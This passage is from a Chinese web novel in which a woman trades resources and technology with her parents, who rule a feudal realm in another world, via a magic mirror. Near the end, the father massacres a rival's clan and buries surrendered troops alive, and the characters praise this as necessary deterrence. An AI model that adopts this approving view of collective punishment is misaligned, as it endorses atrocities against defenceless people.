“宋颜是不错,但你也不能因为他不错,而贸然决定跟他在一起,你们彼此性格是否合得来,他的家庭,你的家庭,这些都要考虑。” “总之,不能冲动,不要操之过急。” “我知道。” 袁淼想起警察第一次找上门的情景,那时候的她什么都不懂,如果不是宋颜的出现,她不敢想象事情会朝哪一个方向发展。 宋颜从始至终都知道她有秘密,但他并没有揭穿或以此要挟她付出什么。 “妈,你还记得你传过一套瓷器给我,我拿去拍卖的事情吗?” 谢云溪愣了愣:“记得,怎么了?你找到的买家了吗?” 一套寻常瓷器被当做珍稀古玩拍卖,他们获利两亿多,事后也想过赔偿,当时一度焦虑。 但现在不要紧了,别说两亿多的赔偿了,即便是翻十倍,他们也能轻松拿出来。 “嗯,是宋颜买走了。” 谢云溪愣住了。 “你确定了吗?他怎么说?” “他应该还不知道,我已经知道他是背后买家。” 袁淼把遇到辛助理的经过告诉了谢云溪。 谢云溪:“你不会是因为这件事情跟他在一起的吧?” 谢云溪知道袁淼在拍卖事后找到宋颜,但当时宋颜的说辞是嘉世达的规矩,不能透露买家和卖家的消息。 他应该知道那套瓷器有问题,但仍然出手买下来,这里面或许考虑到了嘉世达的声誉,但最大的原因应该还是袁淼。 否则,袁淼找上门后,一般人会选择赔偿或取消交易。 两亿多,不是个小数。就这么拿出来。这太能打动人了。 袁淼没有回答谢云溪的问题:“妈,你还记得徐清阳吗?” 谢云溪:“徐清阳?记得呀!他……你们一直有联系吗?” 袁淼:“你们离开后没多久,我们就交往了,前年分手,他找了一个……很有钱的。但他想要的太多了,结果走错了路,在逃亡的时候被警察打死了……” 袁淼说到这里,脑海里又浮现出那天的情形。 谢云溪惊呆了,她当然记得徐清阳,女儿高中的时候,突然冒出的一个追求者。 那段时间袁博文如临大敌,虽然袁淼表示她根本没那心思,但袁博文依旧不敢松懈。结果这事还没有结论,他们夫妇就离开了。 没想到,两个孩子还是搅和到一起了,还发生了这么多事情。 袁淼的话虽然并不详尽,但她知道徐清阳的死一定与袁淼有关,而且给她带来了不小的冲击。否则她不会无缘无故提起。 谢云溪心里被酸疼填满了。 没有父母庇护的孩子,成长路上一定会比同龄人更辛苦。 徐清阳嫌弃她女儿穷,找了一个很有钱的,但回头又想要更多,哪有那么好的事情? “这是什么时候的事儿?” “就今年六月。” 谢云溪很快想起来,六月中旬有几天袁淼明显不对劲,但当时她的心思都在改进纺织机和组建棉纺厂这件事情上,并没有多想其他。 原来,那段时间女儿承受了这么多。 “是他自己误入歧途,跟你没关系,你不要想太多。” “我知道。”袁淼点头。她知道这个道理,但有时候还是忍不住去想。 谢云溪想了想:“我和你爸不是反对你和宋颜交往,是……我们对你有其他的想法!” “什么?”袁淼不明究竟。 原本谢云溪也赞同接班的事情不要太早告诉袁淼,但是现在听袁淼说了徐清阳的事情,她忍不住了,她想让袁淼知道她一直都是他们夫妇的心头宝。 “我们想让你过来,这边的事情,我和你爸都觉得交给你更合适!” 袁淼惊呆了。 什么叫交给她更合适? 父母那边已经拿下北地一半地盘,妥妥的一方诸侯了,把这些交给她?! “我们的年纪都不小了,淮安还不到一岁,你现在成人了,这些担子交给你,我们更放心……” 袁淼连忙示意谢云溪打住:“你们,想让我过去,接班?!” 谢云溪点头:“你也别害怕,我和你爸会尽量安排好的。” 袁淼一时无语。她接父母的班,到异世界当个女皇? “我,我能过去吗?” “大千世界,无奇不有。你爸已经派人去了沧月山。” 袁淼不知道说什么才好了。她当然知道父母派人去沧月山干什么,他们手上的通界宝镜就是在沧月山上一个老道手上所购。他们想找到他,把自己接过去。 她也明白父母为什么把他们那边的许多书册文献传过来让自己熟悉了解了。 “我们不知道这件事情能不能成,所以一直没有跟你说。” 如果可行,但女儿深陷情网,到时候抉择一定会痛苦。多一事不如少一事,来到了这里,坐拥万里河山,想要什么样的男人没有。 “妈,我不想过去。” 一个陌生的新世界,能不能适应都是个问题,更别说管理了。袁淼明白父母之所以能到今天的地步,是因为有通界宝镜这个bug。没有这个bug,一切都不好说。 “你是不是在担心自己过来了,没有现代科技背书,我们会失去优势?” “这个问题,我和你爸商量过了,如果你能过来,那就在过来之前,把现代的许多科技技术等传过来……” 来不及的,文献资料也可以,有了文献资料,以后他们慢慢研究,总能琢磨点东西出来。 袁淼摆手。她从来都没有想过离开这里,而且现代科技正处于飞速发展阶段,她留下来显然更好。 “妈,我觉得你们还是好好培养淮安吧!我留下来更合适!” “你们想进行的工业化才开始,后面还有许多路要走。现代科技发展迅速,许多事情跟你们离开的时候发生了很大的变化。即便是有资料文献参考,壁垒太大,也不一定能看得明白。但如果我在这里,情况就不一样了。” 谢云溪看着袁淼。让女儿一个人留下,她心里总是不得劲。但她不确定能不能找到当初给他们宝镜的老道,找到人之后,能不能把女儿接过来也是个问题。 “这件事情你先考虑,心里要有数……不要告诉其他人,与宋颜交往……也不要操之过急了,自己喜欢最重要!明白吗?” 袁淼点头。她知道谢云溪的意思,他们并没有放弃把她接过去的想法,但这事他们也没有把握。 至于她和宋颜,谢云溪希望她不要陷进去了,自己喜欢最重要,一旦确定她能过去,到时候也好抽身。 但这事想的简单,实现起来可不容易。 “我知道!” 母女俩说完话后,袁博文过来了,脸色阴沉:“那徐清阳果然不是好东西!当初真该打断他的腿!” 刚才的谈话他都听见了。自己的女儿被人嫌弃,差点出事,这让他气得险些失控。 谢云溪心里也不好受。 徐清阳不过是普通工人家庭,自己或许有些出众,但也轮不到他来嫌弃自己女儿。女儿人单势薄,这些年肯定吃了不少苦头。她以前不说,是怕他们担心,报喜不报忧。 “宋颜也不行,你怎么不阻止他们交往?” “怎么阻止?要是淼淼过不来了呢?她一个人,你想过没有?多孤单!宋颜好歹知道些根底,对她也好!” 袁博文皱着眉头,心里不好受。 袁淼这天虽然被谢云溪的话惊到了,但是第二天她就丢开了。父母到了异世界后,刚开始几年也在寻找回来的办法,但那么长时间过去,也没有找到。让她过去,哪有那么容易? 不过,弟弟淮安倒是要好好培养一番,父母以后主要还得靠他。 袁淼开始关注婴幼儿启蒙启智等画册和文具,这天买了不少,准备传给父母。 袁博文和谢云溪都在,袁淼刚把东西拎过来,还没有介绍,就听到袁博文问:“你最近跟叶部长他们联系过吗?” 袁淼点头:“前不久的矿产资源综合利用大会,我跟叶部长碰过面了,他还问起了你们……” 袁淼当时和宋颜在一起,这一幕被媒体拍了照,她差一点上了热搜,幸亏宋颜及时出手,把相关信息全网屏蔽了。 这也让她看到了公关部门的重要性,她已经跟林成章商量过了,准备成立公关部。 不过,网上关于她的信息虽然没了,但圈内却有不少传闻,许多人都在猜测她的父母是谁。 宋记虽然财大气粗,但家族内优秀的子弟不少,没道理将她这个外人捧这么高。 而且,叶振声的态度也透露了她的父母不是一般人。 袁淼知道这些,并没有辩解,保持适当的神秘并不一定是坏事。而且,她的父母的确不是一般人,只不过并不在这里。 “怎么了?” 袁博文和谢云溪的表情有点奇怪。 “高州盐湖那边的地质勘察小队传来了消息,他们已经探明那里钠盐储量巨大,至少有百亿吨,同时还蕴藏着钾、镁、锂、硼、碘等多种珍稀矿产,其中锂储量他们估计约有四百万吨!” 袁淼愣住了。 高手出马,果然非同一般。这批挑选出来的地质勘察学员不仅学习能力超强,几个月就能把现代地质勘察知识学个七八,还能马上活学活用。 即便是有现代设备帮忙,但能这么快就探明矿产资源情况和大概储量,也属实惊人。 “这是那边传来的消息。” 袁博文把信函传给了袁淼。 得益于这段时间的锻炼,袁淼飞快看完了信函,心里也激动起来。不仅仅是因为盐湖锂资源丰富,还有钠盐和钾镁等资源。 这几天她也把袁博文传过来的地方文献翻了翻。北地资源矿产丰富,已知的就有金、银、铜、铁,锡、铅和煤炭等,除此之外,还坐拥了大顺朝境内最大盐湖。但是不知道怎么开采和提炼,北地民众吃盐仍然受到了限制。 现在确定了盐湖的钠盐储量巨大,那北地民众吃盐的问题就可以解决了。 钾,是制作钾肥的主要原料,北地的农作物产量不高,与土地贫瘠肥料不足有很大关系。 如果能制作出钾肥,再有优良种子,北地的农作物产量肯定会上一个台阶,说不定还能解决饥荒这个的大问题。 “需要联系叶部长,把这个消息告诉他吗?” 袁博文:“高州盐湖那边矿产资源情况,你可以告诉叶部长,具体怎么合作,你跟他说,我们当面谈。” “好,我明天就联系!”袁淼看向袁博文和谢云溪,“怎么合作?你们俩想过了吗?” 袁博文没有回答袁淼的问题,而是反问:“你怎么想?” 这个问题,袁淼老早就想过了。父母那边重农业轻工业,但北地土地贫瘠,拼农业肯定不行,走工业化道路,那就跟从零开始差不多,什么都要学习。 但是各项知识和技能的获取光靠她不行,行业的壁垒不是那么容易跨越,不过,如果有上面帮忙就不一样了。 这个她有深刻体验。 既然他们有丰富的资源,现代有完善各项技术,那可以用资源换取技术! 袁博文听完后点头,袁淼的想法跟他们一样。资源换技术。虽然许多资源是不可再生的,但是他们身处的世界尚处于封建社会,以农业为主,工业化连萌芽都没有开始,许多资源静静躺着地下等着人们发现。 他们占据先机,资源不足,可以想其他办法。先把技术学到手,发展起来,实力增强。有枪有实力,资源不足的问题,小事一桩。 第160章 合作 第二天, 袁淼就联系了叶家振,叶家振很高兴,两人敲定了面谈的时间。 袁博文和谢云溪也没闲着。资源换技术, 是他们单方面的想法, 上面是否同意是个未知数。 即便是同意了, 他们也不能指望人家给予无底线的技术支持。先前已经多次帮忙了。 高州盐湖的矿产资源虽然丰富, 但有些资源也是他们急需的,不适合拿出来交易, 比如钠盐和钾盐等。 不过,锂是他们早就答应了上面要合作共同开采的。锂目前他们也用不上。胡耀生等人借助现代设备探明高州盐湖锂储量约有四百万吨, 这个储量在国内大概能排进前五。但在这边的世界就不知道能排到第几了。也许是数一数二也说不定。所以, 盐湖的锂资源他们也不能全部拿出来交易, 得自己也留一点。 盐湖其他资源, 不知道上面看不看的中? 如果看不中, 光一项锂合作能换到多少项技术支持?袁博文和谢云溪不知道,但他们得把最要紧的几项技术排在前面。 比如煤炭的开采等。 现在棉纺厂的机器已经用上了蒸汽机, 煤炭的用量在大幅增长。马上沔州冶炼工厂就要投入使用了,那里要用煤的地方更多,改进和提升煤炭开采技术已经是迫在眉睫的事情了。 袁博文去了一趟高州后,约定面谈的日期也到了。他和谢云溪早早就等在镜子跟前。 袁淼这天也把公司的事情全推了。听到门铃响后,她马上迎了出去。 别墅门口来了两辆车, 陈博云和叶家振等人从车里下来了。袁淼跟他们热情握手。 这次来的也都是熟人, 除了陈博川和叶家振,王振声是经常打交道的,另一位顾军平,袁淼也不陌生。 说着话,袁淼就将人带到会客厅。 “爸, 妈,陈秘书长他们来了!”袁淼对袁博文和谢云溪说。 即便是已经多次沟通了,袁博文和谢云溪面对这种情况仍然很小心。 “除了陈博川和叶家振,还有谁?都是熟人吗?”袁博文问。 袁淼飞快微微颔首。谢云溪松了一口气。虽然他们相信组织,但内心仍然不希望有太多的人知道他们这种情况。很显然上面也考虑到了这个,每次安排过来的人几乎都是熟人。 “……你把盐湖那边已经探明的资源情况跟陈秘书长他们汇报一下!” 袁淼转头笑着对陈博川等人说:“陈秘书长……我爸让我把盐湖那边已经探明的资源情况跟领导们汇报一下!” 陈博川立刻笑了。袁博文夫妇那边盐湖的资源情况叶家振已经跟他们说过了,不过那时是口头转达,具体情况当然没有现在当面说明的好。 他点头,笑着说好,叶家振等人也都露出了笑容。 袁淼拿出已经准备好的资料,将上面的信息叙述了一遍。 叶家振看着手中薄薄的一张纸,即便是已经知道了相关数据,但看到文字时,他心里仍然惊叹不已。 距离他们把现代地质勘察学习资料给袁淼也就几个月的时间,袁博文夫妇就拿出盐湖资源情况的数据。 这学习贯通的速度,行动能力实在惊人! 他先前还以为至少要一两年才能谈合作的事情,结果才几个月就听到了好消息。 任何时候都不能小觑人的智慧,袁博文夫妇身处的异世界虽然科技落后,但是聪明的人一样不少。 陈博川也看完了手中的信息,转头对叶家振等人说:“我们还是跟以前一样,手机语音沟通?” 叶家振等人点头。陈博川对袁淼说:“小袁,感谢你们对组织的信任!我们现在知道盐湖的资源情况,先前你爸同意可以合作共同开采提炼锂资源,不知道现在他们有没有改变主意?” 袁淼转达了陈博川的话。把手机传给了父母。 袁博文接到手机后,对着语音说:“领导们放心!能为祖国的建设发展添砖加瓦原本就是我们心愿!共同开采锂资源,我们的想法一直没变!不过,我们这边技术落后,怎样开展这项工程,还需要领导们和专家们指导!” 陈博川听了语音,把手机给了叶家振。他是矿产资源管理部的副部长,专业的问题自然要专业的人来解答。 叶家振拿到手机后问:“袁老师,高州盐湖那边的地形地理特征,你知道吗?盐湖提锂这项技术现在已经很成熟了,不过要结合你们那边的具体情况,才好开展这项工程。” 他说完后,把手机给了袁淼。袁淼把手机传给了袁博文。 袁博文把准备好的资料整理了一番:“淼淼,这是盐湖那边的资料,你给叶部长他们看看。” 袁淼点头,她知道袁博文又去了一趟高州,想必这些资料就是这几天收集的。 她收到资料后,将其递给叶家振。 叶家振翻了翻,这摞资料图文都有,不仅将盐湖周围的地形地理等做了描述,还附带了很多图片,一看就知道是用了心的。 他看完后,将资料递给了陈博川:“陈秘书长,您看看!” 陈博川也看了看。 叶家振语音说:“袁老师,你们整理的有关盐湖资料我看过了,很详细,我会让这边的专家们看看,具体怎么进行这项工程,要讨论之后才能拿出方案……你们对这次合作有什么想法和要求?” 谢云溪听到语音后,看了看袁博文。 袁博文想了想说:“能为祖国出力是我们荣幸!要求没有!就是有几个想法……我们这边许多技术非常落后,能不能请专家们帮忙指导和提点一下?” “先前我们这边冶铁工坊和纺织机器等改进,幸亏有你们帮忙!实在感激!现在这两项技术提升了不少……” 袁淼听到袁博文的语音后,心里也有点紧张。资源换技术!袁博文提出来了! 叶家振则看了陈博川一眼。 过来之前,他们就讨论过,这次怎么合作?共同开采锂资源,主要获利一方是他们,但主要付出一方则是袁博文夫妇。 合作要共赢才能长久,谁都不是傻子。既然他们在共同开采锂资源上获利了,那在其他方面就要准备让利。 上面对两个世界互通有无很是看好,已经明示只要袁博文夫妇提出的要求不过分,都可以谈。 现在袁博文提出他们的要求,他们技术落后,希望能得到支持和指导,这是要用资源换技术! 陈博川微微颔首。 叶家振明白了,笑着语音说:“没问题!你们遇到了什么困难,都可以跟我们反映,只要我们能帮得上忙,一定会尽力帮忙!” 袁淼松了一口气。这是答应了! 袁博文听完语音后,和谢云溪相互看了一眼。 “感谢感谢!实不相瞒,我们现在真遇到了一个难题!我们所在北地跟祖国的华北一带差不多,每年的冬天气温很低,最低可以达到零下二十多度!但是这里能取暖的物资并不多,煤炭开采技术非常落后……不知道能不能请专家们帮忙,指导一下?” 听完语音后,叶家振看向陈博川。陈博川笑着点头,示意叶家振把手机给他。 拿到手机后,陈博川语音说:“当然可以!袁老师,你把你们那边的煤炭开采情况拍个视频过来,我们组织专家们看看!” 陈博川也知道冶铁工坊和纺织机器改进的事情,现代煤炭开采技术并不高深,袁淼在网上就能获取相关信息,行业壁垒或许能减慢他们解锁这项技术的步伐,但是不能阻止他们解决这个问题。 既然如此,这个好还不如由他们来卖。 袁博文和谢云溪听到语音后,紧张瞬间解除。 提升和改进了煤炭开采技术后,不仅沔州冶炼工厂的产量会大幅提升,也会改善北地民生。蒸汽机的应用也可以推广了。等发现了油气资源,工业的发展就可以朝着内燃机转移了。 “好!感谢!我改天就去拍视频!辛苦领导们和专家们!” “袁老师不用客气!你们也帮了我们不少忙!我记得盐湖是在高州,对吧?那边……现在局势稳定了吗?” 袁博文笑着说:“已经稳定了!很安全!请领导们放心!” 陈博川懂了。 第一次听袁博文叙述异世界的情况时,他就在旁边,那时他们身处的大顺王朝疆域广阔,北地十六州刚刚遭遇地震和洪水。 快两年过去了,袁淼购买了大量的粮食药品和武器等。 教数学的袁老师如今应该成了一方诸侯,辖下不仅有丰富的铁铜、煤炭等资源,还有一座偌大盐湖。这些不可能在一个小地方同时出现。袁博文夫妇掌控的地盘不小! 从袁淼家出来,顾军平问:“这个高州是不是已经是袁博文的地盘了?” 叶家振笑着说:“这个你得问王所长,他应该知道。” 顾军平不明究竟。 王振声笑了笑:“这还不明显吗?” 袁淼购买军械是他经手,虽然许多都是这边面临淘汰的东西,但是拿到冷兵器时代仍然是碾压式的存在。袁博文有了这些,荡平他们那边的各路势力是迟早的事情。 “如果高州不是他的地盘,他会派人去勘察地质情况吗?人才也是稀缺资源,培养一个出来可不容易。” 说起这个,叶家振忍不住唏嘘:“劳动人民的智慧不能小觑!也不知道袁博文是怎么挑选的?这些人从零开始学习现代地质勘察知识居然这么快!半年多的时间比许多学了十几年甚至更长时间的都要强!” 顾军平也啧啧赞叹,地质勘察学习的资料是他和几位专家一起拟订的,他也没想到袁博文挑选出来的人会学的这么快。 陈博川默默看着窗外。袁博文的身份变了,一些事情也要跟着变。一方诸侯,就不能当普通人对待了。还有袁淼,也要重视起来了。 第161章【结局】 第161章 结局 袁博文与叶家振等人接触了几次, 敲定了合作方案,签订了合同后,袁淼就忙了起来, 她得进军锂产业了。 盐湖提锂和锂精矿提锂有些环节现代化程度太高, 在父母那边展开进行的成本太大了, 需要转移到现代完成, 这一块要由她来衔接。 不过,有合作开采金矿的经验在先, 叶家振等人也为袁淼准备了好几个选项。 这天,袁淼刚开完会, 沈若君过来了。 “袁总, 曾嘉宝在楼下!” 袁淼愣了愣:“我今天的行程安排没有她吧?” “没有!她是突然来访, 但被前台拦了下来!人现在就在一楼大厅。” 袁淼心里奇怪, 想不出曾嘉宝为什么要来见她, 她看了看时间:“让她上来吧!” “好的!” 沈若君离开了,一会后将曾嘉宝带了过来。 袁淼抬起头。一段时间不见, 曾嘉宝变化很大,原本圆润的脸变得尖瘦,颧骨高耸,看起来犀利干练。 同属矿企,袁淼知道这段时间辉华矿业风云迭起, 曾辉耀和曾嘉宝争夺股权, 闹得沸沸扬扬。 “曾总今天来找我,不会是为了叙旧吧?” 曾嘉宝虽然极力掩饰,但脸上的笑仍然有些勉强:“袁总说笑了,以前是我不懂事,多有冒犯, 还请袁总大人有大量!” 袁淼笑了笑。她的时间紧张,没有功夫听曾嘉宝虚套:“直说吧,什么事?” 曾嘉宝犹豫片刻,拿出一摞资料,推过去:“这是辉华矿业去年的经营情况。我们是老牌矿企,近年来盈利虽有所下降,但产业链完整,竞争力仍然很强!” “我知道袁总在寻找有价值的投资,辉华矿业一定不会让你失望!” 袁淼没动,她不知道曾嘉宝从哪听到的消息,很显然她在辉华矿业的日子不好过,身边的人也不给力,连消息的真假都不确定一下,就过来谈合作了。 “我对辉华矿业不感兴趣!” 曾嘉宝急切说:“袁淼!以前的事情,是我不对!我跟你道歉!只要你答应合作,我可以让出辉华矿业30%的股份给你!” 袁淼摇头。 “40%……49%!” 袁淼依旧摇头:“我对辉华矿业不感兴趣,即便是你把公司整个控股权都给我,我也不会要!” 曾嘉宝脸上破功了,“为什么?你都打算进军锂产业,投资辉华矿业对你来说轻而易举……” 袁淼打断曾嘉宝的话:“曾嘉宝!辉华矿业产能低下,人员冗长,我是想不开吗?要投资它?我不是冤大头!你请回吧!” 曾嘉宝还要说,袁淼已经起身,在门口听到响动的沈若君听到响动进来了,请曾嘉宝出去。 曾嘉宝看着袁淼,拿着公文包的手泛起了青筋,有一种想把手中的东西砸过去的冲动。 她鼓足了勇气过来,得到的却是这样的结果。贱人不过是命好罢,魅惑了一个又一个男人,让他们买单,现在居然反过来骑在她头上了。 她那么有钱,手指缝里漏一点就能让她爸辛苦创立的公司活下来!她低声下气央求,她都不肯出手!她怎么不去死? 沈若君见请不动,直接打电话通知了保安。 曾嘉宝满腹的愤慨像是被戳了一个口,不断往外冒气,只一会就变得干煸无助。 没有资金注入,辉华矿业完了,她再也不是曾家大小姐了。 眼前的人已经爬到了她抬头都无法企及的高度。手握三家公司,现在又要进军锂产业,锂产业啊,众所周知的新能源产业!白色石油!前途无量!她怎么这么好命? 董事长办公室的门被推开了,进来保安接到沈若君的眼色,来到了曾嘉宝身边。 曾嘉宝不甘心:“袁淼!你帮帮我!只要你帮我渡过眼前的难关,什么条件我都答应你!” 袁淼没有抬头,她的钱不是从天上掉下来的,即便是做慈善,对象也不可能是曾经欺辱过她的人。 沈若君连忙轻咳一声,保安们会意,一左一右架着曾嘉宝离开。 喧闹声消失了。办公室里安静下来。 “以后辉华矿业任何人过来,都不用通知我,直接让他们走!” “好的!” 沈若君满心舒坦。以前曾嘉宝耀武扬威的场景她可没忘,这才过去几年?形势就反转了。 袁淼忙完后回家,没有看到袁博文。 “爸爸呢?他又去高州了吗?” 镜子里的谢云溪摇头:“你爸去鄞州!” “鄞州?” 即便是不打算过去,袁淼也将袁博文传过来的北地各州府地方文献资料看完了。 鄞州也是北地十六州之一,地处崇山峻岭中,民风彪悍,是除晋州业州外,惟三没有落到北凉人手中的州府。 “黄峥出事了!他轻信他人,被鄞州守将赵策骗进城里围杀,麾下死伤惨重,幸亏神/器营副将黎大山警觉,杀出重围报信!” 袁淼连忙问:“有现代化军/械流落到外面了吗?” 谢云溪点头。 自打他们有心让袁淼接班后,这边的事情就没有再隐瞒她了。 这次的变故来得突然,原以为北凉势弱,整个北地他们一家独大,其他势力不足为惧,谁知道边角的鄞州守将赵策居然是一头雄心勃勃暗藏獠牙的狼。 因他同属北地人,黄峥没有防备,攻打鄞州之前就让人给赵策送信劝降,原想着能不战而获。结果赵策假意答应,等黄峥率人马进城后,竟然将他们围剿屠杀,幸亏神器营副将黎大山警觉,率麾下人马杀出重围,但也死伤了不少,一部分现代化军械也因此流落到外面了。 这是他们自起兵以来的第一次大败,袁博文得到消息后,立马赶了过去。 袁淼的心悬了起来。即便是只有极少数的现代化军/械流落在外,但对上这里的冷兵器,仍然是碾压式的存在。 不过,看到谢云溪在担心,袁淼按下不安,缓和了语气:“问题不大!现代化军/械即便落到他人手上,但想要熟练操控,也不是马上就能成的事情。而且,没有弹药补充,那些不过是废铁。” “爸爸已经过去了,鄞州那边即便是拿到一些现代化军/械,但各方面跟我们相比,差距仍然很大!放心吧!爸爸一定会很快解决问题!” “妈,博云锂业的选址,我跟叶部长商量过了,决定定在西门市……” 袁淼把话题转移到了高州盐湖那边,这次的合作涉及了多种资源,除了盐湖提锂和锂精矿提锂以外,还有钠盐提取和钾肥的生产。 现在袁博文不在郴州了,这些就要由谢云溪接手了。 谢云溪打起了精神。 袁淼把相关资料传给了她。 她虽然在安慰谢云溪,但心里也在忐忑。杀场无眼,人心难测。她即便是没有在现场,也知道战争有多残酷。 黄峥是袁博文麾下一员大将,勇猛善战,性格直爽,是骑射营主将。骑射营是除神器营之外最精锐的人马。这次被关门打狗,一定死伤惨重。 可即便是担心不已,她也明白自己所做的非常有限。 好在没过多久,鄞州那边就有好消息传来。袁博文拿下了鄞州,杀了赵策全族,但凡参与屠杀围剿袁军的鄞州将士,不管是否投诚,一律坑杀。 袁淼松了一口气。 谢云溪蹙着眉头。这次袁博文对上的不是北凉人,这般杀伐,在郴州城里引起了不小的震动,各种说法都有。 袁淼知道谢云溪心软:“妈,你是不是觉得爸爸这么做,有点不近人情?” 谢云溪摇头:“杀场无眼,原本就是你死我活的争斗,我是担心他这样做,会失了人心。鄞州守军跟北凉人不一样。” 袁淼冷笑一声:“鄞州守军在坑杀黄峥的时候可没想那么多,他们想踏着我们尸骨往上爬,就应该想到会有怎样的下场。这次不杀一儆百,下次会有更多的阴招损招出手。对敌人仁慈,就是对我们自己残忍!” 谢云溪暗叹了口气:“我知道。” 袁淼又说:“至于其他,你也不用担心。事不关己,一些人现在议论纷纷,过几天就好了。时间一长,他们过上了好日子,哪会还会记得这些?” 谢云溪点头。道理她都知道,只是在听到消息时,着实吃了一惊,不敢相信屠杀全族这类事情会是袁博文做的。 “爸爸有没有说什么时候回来?” “应该快了吧!” 盐湖的建设和煤炭的开采也是重要的事情,这些天她两边奔波,方才理清楚头绪。袁博文比她还在意这些,战事一缓,他应该就会回来了。 又过了几天,传了汀州守军投诚的事情,谢云溪心里的石头这才落地。 袁博文回来的时候,高州盐湖的几个厂区已经在如火如荼开建了,袁淼的博云锂业也完成了选址和注册。 谢云溪连忙让人安排洗漱,亲自给袁博文搓背,把各项事情的进展告诉了袁博文。 袁博文坐在浴桶中,冷硬的眉眼终于慢慢舒展开来。 “我回来的时候,去了一趟高州。” 原本荒凉的盐湖周围一派热火朝天的景象,数千名工人正在劳作,等厂区建成,那里还会更加热闹。 “怎么样?还行吧?我也去过几趟,那边的路要修了。” “是啊,路要修了!” 何止是通往高州盐湖的路,许多州府的路都要修建了。北地的官道虽然能跑汽车,但是速度快不起来,也承受不了大型车辆的重量。 袁淼已经把蒸汽车的相关资料整理了出来,张时文看过后,已经选拨了一批学员正在学习。有神器营的车辆在先,张时文等人比他更想弄出汽车来。 路,得在汽车弄出来之前铺好。 好在水泥厂已经在筹建了。 “鄞州和汀州那边情况怎么样?” “汀州还好,鄞州……许多地方已经是一片废墟,想要恢复,至少要两三年。” 这次的大败出乎意料,他接到消息就怒了。黄峥性格直爽,虽有些鲁莽,但一直以来都是他最有力的支持者,虽不到左膀右臂的地步,但绝对可以称得上心腹了。 却被人这么害死! 到了鄞州后,他没有克制。杨策虽然拿到几条枪,但对上炮弹洗地,根本没有招架之力。 他要杀一儆百,进城后也放开了手脚。鄞州城的人少了近五分之一,原鄞州守军几乎被屠杀殆尽。 他知道这件事情的影响不小,但他要让所有蠢蠢欲动的人都看到,这就是敢对他使阴招的下场。敢杀他的人,最好掂量掂量全族的脑袋够不够硬。 蒸汽中的袁博文眉眼变得模糊了。 谢云溪给他搓着背,絮叨说:“我把这事跟淼淼说了,她还安慰我呢!现在想起来,我这个当妈的还不如女儿顶用!淼淼长大了,许多事情考虑的比我都透彻!” “是吗?她怎么说?” 谢云溪把袁淼的话复述了一遍,袁博文忍不住笑了,又想起了接班的事情。 “她现在跟那个宋颜处的怎么样?” “还行吧!上次我们传过去的原石,参加了东缅那边举行的玉石公盘,这件事情就是宋颜帮忙的。” 袁博文哼了一声:“他是无利不起早!” 谢云溪忍俊不禁:“还好呐!淼淼一个人,现在又有钱,要是被人盯上就麻烦了。宋颜到底知根知底!” 袁博文叹了口气,心情不太好。但先前眉眼间凝结的冷硬消失的无影无踪。 “这次黎大山立了大功,我本想把他提起来,担任神器营主将,但他拒绝了。” “黎大山?是那个瘦高的青年吗?” “对!就是他!他看中了你身边的一个丫头,连神器营主将都不要,想求娶她。” 谢云溪愣住,她身边的丫头不少,最漂亮的要属沈悦兰,但她不记得沈悦兰什么时候跟黎大山有过关联了。 那丫头虽然性子比先前好些,但对上除了袁淮安之外的人,仍然一副硬邦邦的样子。 “谁啊?你没答应吧?” “没问过你的意见,我敢答应吗?” 谢云溪放心了:“到底是谁?不会是沈悦兰吧?” 袁博文摇头:“是叶淑婉,我问过黎大山了,他说叶淑婉曾救过他一命。” 谢云溪更糊涂了,叶淑婉虽然在学医一道上很用功,也有天赋,但是她连门都很少出去。 “就是郴州大战那次,黎大山说,他第一次扛着炮筒上城墙,操作不当,炸了膛,是叶淑婉救了他。” 谢云溪这才想起来。那还是叶淑婉等人第一次参与救护。 “这个我得问问叶淑婉,这事得她点头才行。” 袁博文点头。他知道谢云溪身边新添的几个丫头命运多舛,这个叶淑婉出身名门,黎大山虽然上过几天私塾,但若不是这场变故,他跟五品官家小姐可是天壤之别。 洗过澡,用过餐后,袁博文浑身轻松,牵着儿子到院子里学步。 谢云溪把叶淑婉叫了过来。 “夫人?”叶淑婉不解。 谢云溪问:“你认识神器营的黎副将吗?” 叶淑婉一下子愣住,随即跪地:“夫人,我与黎副将只说过两次话,一次是在郴州大战时的医棚里,一次是几个月前……” 谢云溪不等她说完:“你干什么?赶紧起来!” 叶淑婉的脸色已经一片苍白,起来后,头都不敢抬了。 谢云溪有些无力:“我没有责怪你,是……想知道,你想嫁人吗?” 叶淑婉连忙摇头:“夫人,是我做错了什么吗?我改!” “没有!你做的很好!是黎副将,他求到了你们袁大人那里,想娶你为妻。” 叶淑婉愣住了,一会后又摇头:“我不嫁人!夫人,您别赶我走!” 她说着又要下跪,谢云溪连忙拉住了:“你怎么也来这个……” 叶淑婉垂着头,她知道夫人不喜欢繁文缛节,但她真的吓到了,她不想离开,也不知道离开了能去哪里,她不会纺纱织布,也不喜欢经商一道。 “你好好想一想。黎副将虽出身不高,但很得袁大人看重,这次又立了大功,前途远不止此。他家里很简单,只有兄弟两个,父母都已经过世,兄长也成了家……” 叶淑婉依旧摇头。 谢云溪知道她有心结,她也不确定这是否是一桩良缘,这个时代对女人太苛刻了,虽然他们在努力,但观念转换不是一件容易的事情。 “你先别忙着拒绝,好好想一想,想明白了,再告诉我。” 叶淑婉出去了。袁博文牵着儿子袁淮安进来。 “怎么样?” 谢云溪摇头:“她不想嫁人,不过,我跟她说过了,让她好好想一想。” 袁博文赞同:“一辈子的大事,确实马虎不得,是得好好想一想。不过黎大山是个死心眼的,只怕是被拒绝了,也不会死心。” 谢云溪想了想又问:“黎大山对贞操怎么看?” “这我没问。” 谢云溪:“我原想着过段时间开设西医学堂,在郴州这里建立一家医院。叶淑婉好学,再过一两年应该就能出师了,到时候她想当老师当医生都可以。还有立秋,她会操作好几项检测设备,到时候也可以进医院……” 女人有了事业,婚姻就不再是唯一的选择了。 袁博文也觉得中医和西医各有优点:“慢慢来,不急!医院会建立起来!” 还有药品,比如抗生素等,在防治感染的方面就有独到的效果,这些以后也要培养出来。 到了晚上,袁淼见到袁博文很高兴,连忙问这次出战的情况。袁博文轻描淡写说了几句。 许是有了鄞州的例子在前,汀州那边不等他们过去,就主动找了过来投诚。他们过去的事情,汀州知府和守备为表诚意,带着府衙官员和各营守军在城外数里迎接。他进城里转了一圈,褒奖了几句,汀州的事就定下来了。 袁淼说:“人就是这样,不打不长记性!爸,你要是对鄞州心慈手软,汀州绝对没有那么容易拿下!” “有些人就是要敲打!我刚开始到矿业公司的时候,就有人背后搞事,被我抓了个刺头狠狠罚了一顿,剩下的都老实了!” 